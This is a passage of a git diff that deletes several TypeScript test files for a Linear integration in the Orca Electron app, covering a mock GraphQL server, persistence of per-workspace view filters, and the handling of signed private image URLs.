{ hasNextPage: false } } - if (operation === 'OrcaAgentLinearIssueRelations') { - sendLinearData(response, { - issue: { - relations: { - nodes: [{ id: 'relation-proof', type: 'blocks', issue, relatedIssue }], - pageInfo: { hasNextPage: false } - } - } - }) - } else if (operation === 'OrcaAgentLinearIssue' || operation === 'OrcaLinearIssueByUuid') { - sendLinearData(response, { issue }) - } else if (operation === 'OrcaAgentLinearSearch') { - sendLinearData(response, { searchIssues: connection }) - } else if (operation === 'OrcaLinearIssues') { - sendLinearData(response, { issues: connection }) - } else if (operation === 'OrcaLinearProjects') { - sendLinearData(response, { - projects: { - nodes: [ - { - id: 'project-proof', - name: 'Recovered project', - url: 'https://linear.app/proof/project/project-proof' - } - ], - pageInfo: { hasNextPage: false } - } - }) - } else if (operation === 'viewer') { - sendLinearData(response, { - viewer: { - id: 'viewer-proof', - displayName: boundary.workspace.displayName, - email: boundary.workspace.email - } - }) - } else if (operation === 'organization') { - sendLinearData(response, { - organization: { - id: boundary.workspace.id, - name: boundary.workspace.organizationName, - urlKey: boundary.workspace.organizationUrlKey, - projectStatuses: [] - } - }) - } else if (mutation && receipt.query.includes('issueUpdate')) { - sendLinearData(response, { issueUpdate: { success: true } }) - } else { - response.writeHead(400, { 'content-type': 'application/json' }) - response.end(JSON.stringify({ errors: [{ message: `Unexpected operation ${operation}` }] })) - } - }) - vi.spyOn(globalThis, 'fetch').mockImplementation((input, init) => { - if (String(input) !== 'https://api.linear.app/graphql') { - throw new Error('Unexpected SDK endpoint') - } - signals.push(init?.signal) - return nativeFetch(server.apiUrl, init) - }) - vi.spyOn(console, 'log').mockImplementation(() => {}) - vi.spyOn(console, 'warn').mockImplementation(() => {}) - vi.spyOn(console, 'error').mockImplementation(() => {}) - runtime = new OrcaRuntimeService(null) - vi.spyOn(runtime, 'getRuntimeId').mockReturnValue('runtime-proof') - const dispatcher = new RpcDispatcher({ runtime, methods: LINEAR_AGENT_ACCESS_METHODS }) - boundary.callMock.mockImplementation(async (method: string, params: unknown) => { - const response = await dispatcher.dispatch({ - id: 'request-proof', - authToken: 'proof', - method, - params - }) - if (!response.ok) { - throw new RuntimeRpcFailureError(response) - } - return response - }) -}) - -afterEach(async () => { - vi.restoreAllMocks() - vi.unstubAllEnvs() - process.exitCode = previousExitCode - await server.close() -}) - -const PAGED_ROW_COUNT = 60 - -// Serves PAGED_ROW_COUNT rows through offset cursors so omitted limits must walk every page. -function sendPagedData( - operation: string, - variables: Record, - response: Parameters[0] -) { - const offset = Number(variables.after ?? 0) - const end = Math.min(offset + Number(variables.first), PAGED_ROW_COUNT) - const indexes = Array.from({ length: end - offset }, (_, index) => offset + index) - const pageInfo = { hasNextPage: end < PAGED_ROW_COUNT, endCursor: String(end) } - const pagedIssue = (index: number) => ({ - ...issue, - id: `issue-${index}`, - identifier: `ENG-${index}` - }) - if (operation === 'OrcaLinearIssues') { - sendLinearData(response, { issues: { nodes: indexes.map(pagedIssue), pageInfo } }) - } else if (operation === 'OrcaLinearProjects') { - const nodes = indexes.map((index) => ({ id: `project-${index}`, name: `Project ${index}` })) - sendLinearData(response, { projects: { nodes, pageInfo } }) - } else if (operation === 'OrcaAgentLinearSearch') { - sendLinearData(response, { searchIssues: { nodes: indexes.map(pagedIssue), totalCount: 349 } }) - } else { - response.writeHead(400, { 'content-type': 'application/json' }) - response.end(JSON.stringify({ errors: [{ message: `Unexpected operation ${operation}` }] })) - } -} - -it('lists every page when --limit is omitted and reports the search total', async () => { - paged = true - for (const args of [ - ['list', '--filter', 'all'], - ['project', 'list'], - ['search', '--query', 'paged', '--limit', '5'] - ]) { - await main(['linear', ...args, '--workspace', boundary.workspace.id, '--json']) - expect(process.exitCode).toBe(previousExitCode) - } - const [list, projects, search] = vi - .mocked(console.log) - .mock.calls.map(([value]) => JSON.parse(String(value)).result) - expect(list.issues).toHaveLength(60) - expect(list).toMatchObject({ truncated: false, meta: { limit: null, hasMore: false } }) - expect(projects.projects).toHaveLength(60) - expect(projects).toMatchObject({ truncated: false, meta: { limit: null, hasMore: false } }) - expect(search.issues).toHaveLength(5) - expect(search).toMatchObject({ truncated: true, meta: { returned: 5, total: 349 } }) - const listReads = server.receipts.filter((receipt) => - /query (OrcaLinearIssues|OrcaLinearProjects)\b/.test(receipt.query) - ) - expect(listReads.length).toBeGreaterThan(2) - expect(listReads.every((receipt) => receipt.variables?.detail === false)).toBe(true) -}) - -it('parses and dispatches issue, search, list and project commands through real recovering read handlers', async () => { - for (const args of [ - ['issue', 'ENG-1'], - ['search', '--query', 'recovery'], - ['list', '--filter', 'all', '--limit', '1'], - ['project', 'list', '--limit', '1'] - ]) { - await main(['linear', ...args, '--workspace', boundary.workspace.id, '--json']) - expect(process.exitCode).toBe(previousExitCode) - } - const output = vi.mocked(console.log).mock.calls.map(([value]) => JSON.parse(String(value))) - expect(output).toHaveLength(4) - expect(output[0]).toMatchObject({ - ok: true, - result: { issue: { identifier: issue.identifier }, meta: { partial: false } } - }) - expect(output[1]).toMatchObject({ - ok: true, - result: { issues: [{ identifier: issue.identifier }] } - }) - expect(output[2]).toMatchObject({ - ok: true, - result: { issues: [{ priority: 2, priorityLabel: 'high' }], truncated: false } - }) - expect(output[3]).toMatchObject({ - ok: true, - result: { projects: [{ id: 'project-proof', name: 'Recovered project' }], truncated: false } - }) - expect([...counts.entries()]).toEqual([ - ['OrcaAgentLinearIssue', 2], - ['OrcaAgentLinearSearch', 2], - ['OrcaLinearIssues', 2], - ['OrcaLinearProjects', 2] - ]) - expect(server.receipts).toHaveLength(8) - expect( - server.receipts.slice(0, 2).map((receipt) => receipt.headers['public-file-urls-expire-in']) - ).toEqual(['3600', '3600']) - expect( - server.receipts.every((receipt) => receipt.headers.authorization === 'local-proof-token') - ).toBe(true) - expect(server.receipts[2].variables).toMatchObject({ term: 'recovery' }) - expect(boundary.callMock.mock.calls.map(([method]) => method)).toEqual([ - 'linear.issueContext', - 'linear.agentSearchIssues', - 'linear.agentIssueList', - 'linear.agentProjectList' - ]) -}) - -it.each([ - ['issue', 'ENG-1'], - ['project', 'list'] -] as const)( - 'keeps the existing %s CLI/RPC failure envelope and host-only diagnostics after real resets', - async (command, target) => { - persistent = true - const projectRead = runtime.linearProjectListForAgents.bind(runtime) - let hostFailure: unknown - vi.spyOn(runtime, 'linearProjectListForAgents').mockImplementation(async (params) => { - try { - return await projectRead(params) - } catch (error) { - hostFailure = error - throw error - } - }) - await main(['linear', command, target, '--workspace', boundary.workspace.id, '--json']) - const output = [...vi.mocked(console.log).mock.calls, ...vi.mocked(console.error).mock.calls] - .map(([value]) => String(value)) - .join('\n') - expect(JSON.parse(output)).toMatchObject({ - ok: false, - error: { code: 'linear_network_error', message: 'fetch failed' } - }) - const outwardError = { code: 'linear_network_error', message: 'fetch failed' } - expect(JSON.parse(output).error).toEqual(outwardError) - const rpcFailure: unknown = await boundary.callMock.mock.results[0].value.catch( - (error: unknown) => error - ) - assert(rpcFailure instanceof RuntimeRpcFailureError) - expect(rpcFailure.response.error).toEqual(outwardError) - expect(JSON.stringify(rpcFailure.response)).not.toMatch( - /UND_ERR_SOCKET|ECONNRESET|local-proof-token|Linear transport failure/ - ) - if (command === 'project') { - assert(hostFailure instanceof LinearAgentAccessError) - expect(hostFailure).toMatchObject(outwardError) - expect(hostFailure.data).toBeUndefined() - assert(hostFailure.cause instanceof Error) - expect(hostFailure.cause.message).toMatch( - /^Linear transport failure: (UND_ERR_SOCKET|ECONNRESET)$/ - ) - expect(hostFailure.cause.cause).toBeUndefined() - expect(counts.get('OrcaLinearProjects')).toBe(3) - } - expect(output).not.toMatch(/UND_ERR_SOCKET|ECONNRESET|local-proof-token/) - expect(server.receipts).toHaveLength(3) - expect(process.exitCode).toBe(1) - } -) - -it('applies recovery at connect, connection-test and legacy getClient constructor sites', async () => { - const client = getClient(boundary.workspace.id) - assert(client) - await expect(client.viewer).resolves.toMatchObject({ id: 'viewer-proof' }) - expect([...counts.values()]).toEqual([2]) - for (const invoke of [ - () => connect('local-proof-token'), - () => testConnection(boundary.workspace.id) - ]) { - counts.clear() - await expect(invoke()).resolves.toMatchObject({ ok: true, workspace: boundary.workspace }) - expect([...counts.entries()]).toEqual([ - ['viewer', 2], - ['organization', 2] - ]) - } - expect(boundary.save).toHaveBeenCalledTimes(2) -}) - -it('retries only the readback after a successful mutation and recovers signal-bound relation reads', async () => { - const signal = new AbortController().signal - await expect( - updateIssueForAgent(issue.id, { title: issue.title }, boundary.workspace.id, { signal }) - ).resolves.toMatchObject({ id: issue.id }) - expect(server.receipts).toHaveLength(3) - expect(server.receipts.map((receipt) => receipt.query.trimStart().split(' ')[0])).toEqual([ - 'mutation', - 'query', - 'query' - ]) - expect(server.receipts[0].variables).toMatchObject({ - id: issue.id, - input: { title: issue.title } - }) - expect(signals.every((received) => received === signal)).toBe(true) - counts.clear() - signals = [] - await expect( - writeIssueRelation({ - issue, - relatedIssue, - operation: 'add', - relationship: 'blocks', - workspaceId: boundary.workspace.id, - signal - }) - ).resolves.toMatchObject({ meta: { alreadySet: true } }) - expect([...counts.entries()]).toEqual([['OrcaAgentLinearIssueRelations', 2]]) - expect(signals).toEqual([signal, signal]) - counts.clear() - dropMutation = true - const before = server.receipts.length - await expect( - updateIssueForAgent(issue.id, { title: 'Unconfirmed' }, boundary.workspace.id, { signal }) - ).rejects.toMatchObject({ kind: 'unconfirmed' }) - expect(server.receipts).toHaveLength(before + 1) - expect([...counts.values()]).toEqual([1]) -}) diff --git a/tests/e2e/linear-issue-view-persistence.spec.ts b/tests/e2e/linear-issue-view-persistence.spec.ts deleted file mode 100644 index a39affb1669..00000000000 --- a/tests/e2e/linear-issue-view-persistence.spec.ts +++ /dev/null @@ -1,486 +0,0 @@ -// Persist per-device Linear view/filter preferences in renderer localStorage so older paired hosts cannot discard resume state. -// Mock Linear IPC to verify visible remount/restart behavior; units cover serialization. - -import { existsSync, readFileSync } from 'node:fs' -import type { ElectronApplication, Page } from '@stablyai/playwright-test' -import { test, expect } from './helpers/orca-app' -import { attachRepoAndOpenTerminal, createRestartSession } from './helpers/orca-restart' -import { getStoreState, waitForActiveWorktree, waitForSessionReady } from './helpers/store' -import { TEST_REPO_PATH_FILE } from './global-setup' - -// Pin the storage key independently so renames fail the roundtrip. -const LINEAR_ISSUE_VIEW_STORAGE_KEY = 'orca.linear.issue-view.v1' - -const WORKSPACE_A = { - id: 'linear-workspace-a', - displayName: 'Linear E2E User A', - email: 'linear-e2e-a@example.test', - organizationId: 'linear-org-a', - organizationName: 'Alpha Workspace' -} as const - -const WORKSPACE_B = { - id: 'linear-workspace-b', - displayName: 'Linear E2E User B', - email: 'linear-e2e-b@example.test', - organizationId: 'linear-org-b', - organizationName: 'Beta Workspace' -} as const - -const TEAM_A = { - id: 'linear-team-a', - name: 'Engineering', - key: 'ENG', - workspaceId: WORKSPACE_A.id, - workspaceName: WORKSPACE_A.organizationName -} as const - -const TEAM_B = { - id: 'linear-team-b', - name: 'Product', - key: 'PROD', - workspaceId: WORKSPACE_B.id, - workspaceName: WORKSPACE_B.organizationName -} as const - -const STATE_A = { - id: 'linear-state-a', - name: 'In Review', - type: 'started', - color: '#888888', - position: 1 -} as const - -const STATE_B = { - id: 'linear-state-b', - name: 'Todo', - type: 'unstarted', - color: '#666666', - position: 0 -} as const - -const ISSUE_A = { - id: 'linear-issue-a', - workspaceId: WORKSPACE_A.id, - identifier: 'ENG-100', - title: 'Persist Alpha view prefs', - url: 'https://linear.example.test/ENG-100', - state: { name: STATE_A.name, type: STATE_A.type, color: STATE_A.color }, - team: { id: TEAM_A.id, name: TEAM_A.name, key: TEAM_A.key }, - labels: [], - labelIds: [], - priority: 2, - updatedAt: '2026-08-04T18:00:00.000Z' -} as const - -const ISSUE_B = { - id: 'linear-issue-b', - workspaceId: WORKSPACE_B.id, - identifier: 'PROD-200', - title: 'Persist Beta view prefs', - url: 'https://linear.example.test/PROD-200', - state: { name: STATE_B.name, type: STATE_B.type, color: STATE_B.color }, - team: { id: TEAM_B.id, name: TEAM_B.name, key: TEAM_B.key }, - labels: [], - labelIds: [], - priority: 4, - updatedAt: '2026-08-04T19:00:00.000Z' -} as const - -type LinearIssueViewResume = { - viewMode?: string - groupBy?: string - orderBy?: string - displayProperties?: string[] - teamPropertyTouched?: boolean - filtersByWorkspaceId?: Record< - string, - { - stateIds?: string[] - priorities?: number[] - assignee?: unknown - labelIds?: string[] - } - > -} - -const FIXTURE = { - workspaces: [WORKSPACE_A, WORKSPACE_B], - teams: [TEAM_A, TEAM_B], - statesByTeamId: { - [TEAM_A.id]: [STATE_A], - [TEAM_B.id]: [STATE_B] - }, - issues: [ISSUE_A, ISSUE_B] -} as const - -async function installLinearPersistenceBackend( - electronApp: ElectronApplication, - options?: { multiWorkspace?: boolean } -): Promise { - const multiWorkspace = options?.multiWorkspace === true - await electronApp.evaluate( - ({ ipcMain }, payload) => { - const workspaces = payload.multiWorkspace - ? payload.fixture.workspaces - : [payload.fixture.workspaces[0]] - let activeWorkspaceId: string = workspaces[0].id - - const status = () => ({ - connected: true, - viewer: workspaces[0], - workspaces, - activeWorkspaceId, - selectedWorkspaceId: activeWorkspaceId - }) - - const teamsFor = (workspaceId: string | undefined) => { - if (!workspaceId || workspaceId === 'all') { - return payload.fixture.teams.filter((team) => - workspaces.some((workspace) => workspace.id === team.workspaceId) - ) - } - return payload.fixture.teams.filter((team) => team.workspaceId === workspaceId) - } - - const issuesFor = (workspaceId: string | undefined) => { - if (!workspaceId || workspaceId === 'all') { - return payload.fixture.issues.filter((issue) => - workspaces.some((workspace) => workspace.id === issue.workspaceId) - ) - } - return payload.fixture.issues.filter((issue) => issue.workspaceId === workspaceId) - } - - ipcMain.removeHandler('linear:status') - ipcMain.handle('linear:status', async () => status()) - - ipcMain.removeHandler('linear:selectWorkspace') - ipcMain.handle( - 'linear:selectWorkspace', - async (_event, args: { workspaceId?: string } | undefined) => { - const next = args?.workspaceId - if (typeof next === 'string' && next.trim()) { - if (next === 'all' || workspaces.some((workspace) => workspace.id === next)) { - activeWorkspaceId = next - } - } - return status() - } - ) - - ipcMain.removeHandler('linear:listTeams') - ipcMain.handle( - 'linear:listTeams', - async (_event, args: { workspaceId?: string } | undefined) => - teamsFor(args?.workspaceId ?? activeWorkspaceId) - ) - - ipcMain.removeHandler('linear:listIssues') - ipcMain.handle( - 'linear:listIssues', - async (_event, args: { workspaceId?: string } | undefined) => ({ - items: issuesFor(args?.workspaceId ?? activeWorkspaceId), - hasMore: false - }) - ) - - ipcMain.removeHandler('linear:teamStates') - ipcMain.handle('linear:teamStates', async (_event, args: { teamId?: string } | undefined) => { - const teamId = args?.teamId - if (!teamId) { - return [] - } - const statesByTeamId: Partial< - Record - > = payload.fixture.statesByTeamId - return statesByTeamId[teamId] ?? [] - }) - - ipcMain.removeHandler('linear:teamLabels') - ipcMain.handle('linear:teamLabels', async () => []) - - ipcMain.removeHandler('linear:teamMembers') - ipcMain.handle('linear:teamMembers', async () => []) - }, - { fixture: FIXTURE, multiWorkspace } - ) -} - -async function openLinearTasks(page: Page): Promise { - await page.evaluate(async () => { - const store = window.__store - if (!store) { - throw new Error('window.__store is not available') - } - await store.getState().checkLinearConnection(true) - store.getState().openTaskPage({ taskSource: 'linear' }) - }) -} - -async function waitForLinearIssuesChrome(page: Page, issueTitle: string): Promise { - await expect - .poll(async () => getStoreState(page, 'activeView'), { timeout: 10_000 }) - .toBe('tasks') - await expect(page.getByRole('button', { name: 'Filters', exact: true })).toBeVisible({ - timeout: 15_000 - }) - await expect(page.getByText(issueTitle, { exact: true })).toBeVisible({ timeout: 15_000 }) -} - -async function openViewMenu(page: Page): Promise { - const viewButton = page.getByRole('button', { name: 'View', exact: true }) - await expect(viewButton).toBeVisible() - if ((await page.getByRole('menuitemradio', { name: 'Board' }).count()) > 0) { - return - } - await viewButton.click() - await expect(page.getByRole('menuitemradio', { name: 'Board' })).toBeVisible() -} - -async function dismissOverlayChrome(page: Page): Promise { - // Escape Radix overlays: inert chrome ignores outside clicks and open portals hide the View trigger. - if ( - (await page.getByRole('menuitemradio', { name: 'Board' }).count()) > 0 || - (await page.locator('[data-slot="popover-content"]').count()) > 0 - ) { - await page.keyboard.press('Escape') - } - await expect(page.getByRole('menuitemradio', { name: 'Board' })).toHaveCount(0) - await expect(page.locator('[data-slot="popover-content"]')).toHaveCount(0) -} - -async function selectViewMenuRadio(page: Page, name: string): Promise { - await openViewMenu(page) - const item = page.getByRole('menuitemradio', { name }) - await expect(item).toBeVisible() - // Why: Radix menus can briefly report "not stable" while the issues list reflows. - await item.click({ force: true }) -} - -async function setLinearViewPreferences( - page: Page, - options: { viewMode: 'List' | 'Board'; groupBy: string; orderBy: string } -): Promise { - // Set grouping/order before Board, which remounts the surface and detaches its menu. - await selectViewMenuRadio(page, options.groupBy) - await selectViewMenuRadio(page, options.orderBy) - await selectViewMenuRadio(page, options.viewMode) - await dismissOverlayChrome(page) - - // Toolbar List/Board toggle is md+ only; prove mode via the View menu radios. - await openViewMenu(page) - await expect(page.getByRole('menuitemradio', { name: options.viewMode })).toHaveAttribute( - 'aria-checked', - 'true' - ) - await expect(page.getByRole('menuitemradio', { name: options.groupBy })).toHaveAttribute( - 'aria-checked', - 'true' - ) - await expect(page.getByRole('menuitemradio', { name: options.orderBy })).toHaveAttribute( - 'aria-checked', - 'true' - ) - await dismissOverlayChrome(page) -} - -async function applyStatusFilter(page: Page, statusName: string): Promise { - await dismissOverlayChrome(page) - const filtersButton = page.getByRole('button', { name: 'Filters', exact: true }) - await filtersButton.click() - const popover = page.locator('[data-slot="popover-content"]') - await popover.getByRole('button', { name: 'Status', exact: true }).click() - await popover.getByText(statusName, { exact: true }).click() - await filtersButton.click() - await expect(popover).toHaveCount(0) -} - -async function applyPriorityFilter(page: Page, priorityLabel: string): Promise { - const filtersButton = page.getByRole('button', { name: 'Filters', exact: true }) - await filtersButton.click() - const popover = page.locator('[data-slot="popover-content"]') - await popover.getByRole('button', { name: 'Priority', exact: true }).click() - await popover.getByText(priorityLabel, { exact: true }).click() - await filtersButton.click() - await expect(popover).toHaveCount(0) -} - -async function waitForLinearIssueViewPersisted( - page: Page, - predicate: (view: LinearIssueViewResume | undefined) => boolean -): Promise { - await expect - .poll( - async () => { - const stored = await page.evaluate( - (key) => window.localStorage.getItem(key), - LINEAR_ISSUE_VIEW_STORAGE_KEY - ) - const view = stored ? (JSON.parse(stored) as LinearIssueViewResume) : undefined - return predicate(view) ? 'ready' : 'pending' - }, - { - timeout: 10_000, - message: 'Linear issue view preferences did not persist to local storage' - } - ) - .toBe('ready') -} - -async function expectRestoredLinearView(page: Page): Promise { - await openViewMenu(page) - await expect(page.getByRole('menuitemradio', { name: 'Board' })).toHaveAttribute( - 'aria-checked', - 'true' - ) - await expect(page.getByRole('menuitemradio', { name: 'Status' })).toHaveAttribute( - 'aria-checked', - 'true' - ) - await expect(page.getByRole('menuitemradio', { name: 'Updated' })).toHaveAttribute( - 'aria-checked', - 'true' - ) - await dismissOverlayChrome(page) - // Board surface renders status sections; flat list shows a Key column header. - await expect(page.getByText('Key', { exact: true })).toHaveCount(0) -} - -async function switchLinearWorkspace(page: Page, organizationName: string): Promise { - const trigger = page - .locator('button[role="combobox"]') - .filter({ hasText: /All teams|Alpha|Beta|All workspaces/ }) - .first() - await expect(trigger).toBeVisible({ timeout: 10_000 }) - await trigger.click() - const popover = page.locator('[data-slot="popover-content"]') - await popover.getByText(organizationName, { exact: true }).click() - await expect(popover).toHaveCount(0) -} - -function seededRepoPathOrSkip(): string { - const repoPath = existsSync(TEST_REPO_PATH_FILE) - ? readFileSync(TEST_REPO_PATH_FILE, 'utf-8').trim() - : '' - test.skip(!repoPath || !existsSync(repoPath), 'Global setup did not produce a seeded test repo') - return repoPath -} - -test.describe('Linear issue view persistence', () => { - test('keeps attribute filters scoped per Linear workspace', async ({ electronApp, orcaPage }) => { - await waitForSessionReady(orcaPage) - await waitForActiveWorktree(orcaPage) - await installLinearPersistenceBackend(electronApp, { multiWorkspace: true }) - await openLinearTasks(orcaPage) - await waitForLinearIssuesChrome(orcaPage, ISSUE_A.title) - - await applyPriorityFilter(orcaPage, 'High') - await expect( - orcaPage.getByRole('button', { name: 'Remove Priority filter' }).locator('..') - ).toContainText('High') - - await waitForLinearIssueViewPersisted(orcaPage, (view) => { - const filter = view?.filtersByWorkspaceId?.[WORKSPACE_A.id] - return Boolean(filter?.priorities?.includes(2)) - }) - - await switchLinearWorkspace(orcaPage, WORKSPACE_B.organizationName) - await waitForLinearIssuesChrome(orcaPage, ISSUE_B.title) - // Workspace B starts unfiltered — Alpha's High must not leak. - await expect(orcaPage.getByRole('button', { name: 'Remove Priority filter' })).toHaveCount(0) - - await applyPriorityFilter(orcaPage, 'Low') - await expect( - orcaPage.getByRole('button', { name: 'Remove Priority filter' }).locator('..') - ).toContainText('Low') - - await waitForLinearIssueViewPersisted(orcaPage, (view) => { - const a = view?.filtersByWorkspaceId?.[WORKSPACE_A.id] - const b = view?.filtersByWorkspaceId?.[WORKSPACE_B.id] - return Boolean(a?.priorities?.includes(2) && b?.priorities?.includes(4)) - }) - - await switchLinearWorkspace(orcaPage, WORKSPACE_A.organizationName) - await waitForLinearIssuesChrome(orcaPage, ISSUE_A.title) - await expect( - orcaPage.getByRole('button', { name: 'Remove Priority filter' }).locator('..') - ).toContainText('High') - await expect( - orcaPage.getByRole('button', { name: 'Remove Priority filter' }).locator('..') - ).not.toContainText('Low') - - await switchLinearWorkspace(orcaPage, WORKSPACE_B.organizationName) - await waitForLinearIssuesChrome(orcaPage, ISSUE_B.title) - await expect( - orcaPage.getByRole('button', { name: 'Remove Priority filter' }).locator('..') - ).toContainText('Low') - }) -}) - -test('restores Linear view preferences after an app restart', async (// oxlint-disable-next-line no-empty-pattern -- Playwright fixture opt-out -{}, testInfo) => { - test.setTimeout(300_000) - const repoPath = seededRepoPathOrSkip() - const session = createRestartSession(testInfo) - let firstApp: ElectronApplication | null = null - let secondApp: ElectronApplication | null = null - - try { - const first = await session.launch() - firstApp = first.app - await waitForSessionReady(first.page) - await attachRepoAndOpenTerminal(first.page, repoPath) - - await installLinearPersistenceBackend(firstApp) - await openLinearTasks(first.page) - await waitForLinearIssuesChrome(first.page, ISSUE_A.title) - - await setLinearViewPreferences(first.page, { - viewMode: 'Board', - groupBy: 'Status', - orderBy: 'Updated' - }) - await applyStatusFilter(first.page, STATE_A.name) - await waitForLinearIssueViewPersisted(first.page, (view) => { - if ( - !view || - view.viewMode !== 'board' || - view.groupBy !== 'status' || - view.orderBy !== 'updated' - ) { - return false - } - return Boolean(view.filtersByWorkspaceId?.[WORKSPACE_A.id]?.stateIds?.includes(STATE_A.id)) - }) - await expectRestoredLinearView(first.page) - - await session.close(firstApp) - firstApp = null - - const second = await session.launch() - secondApp = second.app - await waitForSessionReady(second.page) - // Why: IPC mocks die with the process; reinstall before reopening Linear. - await installLinearPersistenceBackend(secondApp) - await openLinearTasks(second.page) - await waitForLinearIssuesChrome(second.page, ISSUE_A.title) - - await expectRestoredLinearView(second.page) - await expect( - second.page.getByRole('button', { name: 'Remove Status filter' }).locator('..') - ).toContainText(STATE_A.name) - } finally { - for (const app of [secondApp, firstApp]) { - if (!app) { - continue - } - try { - await session.close(app) - } catch { - // best-effort cleanup - } - } - await session.dispose() - } -}) diff --git a/tests/e2e/linear-private-images.spec.ts b/tests/e2e/linear-private-images.spec.ts deleted file mode 100644 index a9dd89cbb40..00000000000 --- a/tests/e2e/linear-private-images.spec.ts +++ /dev/null @@ -1,170 +0,0 @@ -import { readFileSync } from 'node:fs' -import { join } from 'node:path' -import type { ElectronApplication, Page } from '@stablyai/playwright-test' -import { test, expect } from './helpers/orca-app' -import type { LinearIssue } from '../../src/shared/linear/issue-types' -import type { LinearIssueUpdate } from '../../src/shared/work-items/issue-mutation-types' - -declare global { - var __linearImageSaved: LinearIssueUpdate[] | undefined -} - -const SOURCE = 'https://uploads.linear.app/test-workspace/screenshot.png' -const SIGNED = `${SOURCE}?signature=temporary` -const DESCRIPTION = `Screenshot from the issue:\n\n![Screenshot](${SOURCE})\n\nDescription text.` -const ISSUE: LinearIssue = { - id: 'private-images', - identifier: 'IMG-1', - workspaceId: 'test-workspace', - title: 'Images in Linear tasks', - description: DESCRIPTION, - url: 'https://linear.app/test/issue/IMG-1', - state: { name: 'Todo', type: 'unstarted', color: '' }, - team: { id: 'team-1', name: 'Test', key: 'IMG' }, - labels: [], - labelIds: [], - priority: 0, - updatedAt: '2026-10-06T00:00:00.000Z' -} - -async function installFixture(app: ElectronApplication, signed: boolean): Promise { - await app.evaluate( - ({ ipcMain }, { issue, source, signedUrl, signed }) => { - const displayed = { - ...issue, - id: signed ? 'after' : 'before', - ...(signed ? { descriptionImageUrls: { [source]: signedUrl } } : {}) - } - const saved: LinearIssueUpdate[] = [] - for (const channel of [ - 'linear:getIssue', - 'linear:issueComments', - 'linear:updateIssue', - 'linear:listTeams', - 'linear:listIssues', - 'linear:teamStates', - 'linear:teamLabels', - 'linear:teamMembers' - ]) { - ipcMain.removeHandler(channel) - } - ipcMain.handle('linear:getIssue', () => displayed) - ipcMain.handle('linear:issueComments', () => [ - { - id: 'comment-1', - body: `![Comment screenshot](${signed ? signedUrl : source})`, - createdAt: issue.updatedAt, - user: { displayName: 'Test user' } - } - ]) - ipcMain.handle('linear:updateIssue', (_event, args: { updates: LinearIssueUpdate }) => { - saved.push(args.updates) - return { ok: true } - }) - ipcMain.handle('linear:listTeams', () => []) - ipcMain.handle('linear:listIssues', () => ({ items: [] })) - ipcMain.handle('linear:teamStates', () => []) - ipcMain.handle('linear:teamLabels', () => []) - ipcMain.handle('linear:teamMembers', () => []) - globalThis.__linearImageSaved = saved - }, - { issue: ISSUE, source: SOURCE, signedUrl: SIGNED, signed } - ) -} - -async function openIssue(page: Page, signed: boolean): Promise { - await page.evaluate( - ({ issue, signed }) => { - const store = window.__store - if (!store) { - throw new Error('Store unavailable') - } - store.setState({ - linearStatus: { - connected: true, - viewer: null, - workspaces: [], - activeWorkspaceId: 'test-workspace', - selectedWorkspaceId: 'test-workspace' - }, - linearStatusChecked: true, - checkLinearConnection: async () => {} - }) - store.getState().openTaskPage({ - taskSource: 'linear', - openLinearIssue: { ...issue, id: signed ? 'after' : 'before' } - }) - }, - { issue: ISSUE, signed } - ) - await expect(page.getByLabel('Issue description', { exact: true })).toBeVisible() - await expect(page.getByRole('link', { name: 'Comment screenshot' })).toBeVisible() -} - -test.use({ seedTestRepo: false }) - -test('private Linear images load without putting signatures into description edits', async ({ - electronApp, - orcaPage -}, testInfo) => { - const image = readFileSync(join(process.cwd(), 'resources', 'icon.png')) - let unsignedRequests = 0 - let signedRequests = 0 - await orcaPage.route('https://uploads.linear.app/**', async (route) => { - if (new URL(route.request().url()).searchParams.get('signature') === 'temporary') { - signedRequests++ - await route.fulfill({ status: 200, contentType: 'image/png', body: image }) - } else { - unsignedRequests++ - await route.fulfill({ status: 401, body: 'Unauthorized' }) - } - }) - - await installFixture(electronApp, false) - await openIssue(orcaPage, false) - await expect.poll(() => unsignedRequests).toBeGreaterThanOrEqual(1) - await expect - .poll(() => - orcaPage - .getByAltText('Screenshot', { exact: true }) - .evaluate((img: HTMLImageElement) => img.complete && img.naturalWidth === 0) - ) - .toBe(true) - await testInfo.attach('linear-images-before.png', { - body: await orcaPage.screenshot({ path: testInfo.outputPath('linear-images-before.png') }), - contentType: 'image/png' - }) - - await installFixture(electronApp, true) - await openIssue(orcaPage, true) - await expect - .poll(() => - orcaPage - .getByAltText('Screenshot', { exact: true }) - .evaluate((img: HTMLImageElement) => img.naturalWidth) - ) - .toBeGreaterThan(0) - await expect(orcaPage.getByRole('link', { name: 'Comment screenshot' })).toHaveAttribute( - 'href', - SIGNED - ) - await expect.poll(() => signedRequests).toBeGreaterThanOrEqual(1) - await testInfo.attach('linear-images-after.png', { - body: await orcaPage.screenshot({ path: testInfo.outputPath('linear-images-after.png') }), - contentType: 'image/png' - }) - - const editor = orcaPage.getByLabel('Issue description', { exact: true }) - await editor.click() - await editor.press('End') - await editor.press('ArrowRight') - await editor.press('Enter') - await editor.pressSequentially('Verified edit') - await orcaPage.getByRole('textbox', { name: 'Issue title' }).click() - await expect - .poll(() => electronApp.evaluate(() => globalThis.__linearImageSaved)) - .toEqual([{ description: expect.stringContaining(`![Screenshot](${SOURCE})`) }]) - const saved = await electronApp.evaluate(() => globalThis.__linearImageSaved) - expect(JSON.stringify(saved)).toContain('Verified edit') - expect(JSON.stringify(saved)).not.toContain('signature=') -}) diff --git a/tests/e2e/linear-store.unit.test.ts b/tests/e2e/linear-store.unit.test.ts deleted file mode 100644 index 685cfcff75b..00000000000 --- a/tests/e2e/linear-store.unit.test.ts +++ /dev/null @@ -1,163 +0,0 @@ -import { beforeEach, describe, expect, it, vi } from 'vitest' -import { workspaceFromLinearData } from '../../src/main/linear/accounts/linear-workspace-record' - -import type { LinearConnectionStatus, LinearViewer } from '../../src/shared/linear/workspace-types' - -import { - createTestStore, - deferred, - issue -} from '../../src/renderer/src/store/slices/linear/linear-slice-test-harness' - -const linearStatus = vi.fn() -const linearConnect = vi.fn() -const linearDisconnect = vi.fn() -const linearListIssues = vi.fn() -const linearSearchIssues = vi.fn() -const linearListTeams = vi.fn() -const linearGetIssue = vi.fn() -const linearListProjects = vi.fn() -const linearGetCustomView = vi.fn() -const linearGetProject = vi.fn() -const linearListProjectIssues = vi.fn() -const linearListCustomViews = vi.fn() -const linearListCustomViewIssues = vi.fn() -const linearListCustomViewProjects = vi.fn() -const linearTestConnection = vi.fn() -const linearSelectWorkspace = vi.fn() -const linearDisconnectWorkspace = vi.fn() - 